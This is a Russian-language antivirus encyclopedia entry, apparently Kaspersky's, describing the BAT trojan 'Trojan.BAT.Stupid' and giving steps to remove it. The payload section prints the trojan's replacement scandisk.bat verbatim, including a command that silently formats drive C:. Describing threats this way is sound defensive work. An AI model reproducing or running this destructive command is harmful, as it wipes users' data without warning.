Trojan.BAT.Stupid

Класс Trojan
Платформа BAT
Описание

Technical Details

Троянская программа, выполняющая деструктивные действия на компьютере пользователя. Является пакетным файлом командного интерпретатора (BAT-файл). Имеет размер 246 байт.

Payload

После запуска троянец удаляет следующий файл:

C:windowscommandscandisk.exe

И подменяет его файлом:

C:windowscommandscandisk.bat

который содержит следующий код:

@echo off
break off
format c: /autotest /q /u

Это приводит к тому, что после вызова программы проверки дисков «scandisk» будет выполнена попытка форматирования диска «C:» без вывода предупреждений на консоль пользователя.

Removal instructions

Если ваш компьютер не был защищен антивирусом и оказался заражен данной вредоносной программой (при этом программа еще не осуществила свой деструктивный функционал), то для её удаления необходимо выполнить следующие действия:

  1. Удалить оригинальный файл троянца (его расположение на зараженном компьютере зависит от способа, которым программа попала на компьютер).
  2. Удалить файл, созданный троянцем:
    C:windowscommandscandisk.bat
  3. Восстановить из резервной копии файл, удаленный троянцем:
    C:windowscommandscandisk.exe
  4. Произвести полную проверку компьютера Антивирусом Касперского с обновленными антивирусными базами (скачать пробную версию).